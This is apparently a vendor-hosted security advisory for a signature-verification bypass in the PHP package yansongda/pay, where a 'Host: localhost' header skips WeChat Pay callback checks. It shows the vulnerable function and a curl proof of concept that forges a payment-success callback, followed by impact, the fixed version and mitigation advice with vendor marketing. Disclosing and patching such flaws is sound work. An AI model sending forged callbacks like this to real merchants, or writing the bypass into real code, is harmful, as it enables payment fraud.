GHSA-q938-ghwv-8gvc is a high-severity (CVSS 8.6) CWE-290 vulnerability in yansongda/pay. O3 Security confirms whether GHSA-q938-ghwv-8gvc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
WeChat Pay callback signature verification bypassed when Host header is localhost
Real-World Exposure
yansongda/payReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The verify_wechat_sign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.
This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.
Vulnerable Code
src/Functions.php lines 243-246:
function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void
{
// BYPASS: Returns without any signature check if Host header is localhost
if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {
return; // No signature verified!
}
// ... openssl_verify() only reached when Host != localhost
$wechatSerial = $message->getHeaderLine('Wechatpay-Serial');
$sign = $message->getHeaderLine('Wechatpay-Signature');
$result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');
}
In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), $request->getUri()->getHost() reads the Host HTTP header, which is fully attacker-controlled.
Proof of Concept
curl -X POST https://merchant.example.com/payment/wechat/callback \
-H "Host: localhost" \
-H "Content-Type: application/json" \
-H "Wechatpay-Serial: any" \
-H "Wechatpay-Timestamp: 1234567890" \
-H "Wechatpay-Nonce: abc" \
-H "Wechatpay-Signature: AAAA" \
-d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}'
verify_wechat_sign() returns immediately without verifying the signature. The application marks the order as paid.
Impact
- Payment fraud: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks
- No authentication required: Pure network attack, zero privileges needed
- Wide reach: Affects any application using
yansongda/payfor WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yansongda/pay | all versions | 3.7.20 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yansongda/pay. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update yansongda/pay to 3.7.20 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q938-ghwv-8gvc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-q938-ghwv-8gvc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-q938-ghwv-8gvc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-q938-ghwv-8gvc in your dependencies?
O3 detects GHSA-q938-ghwv-8gvc across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.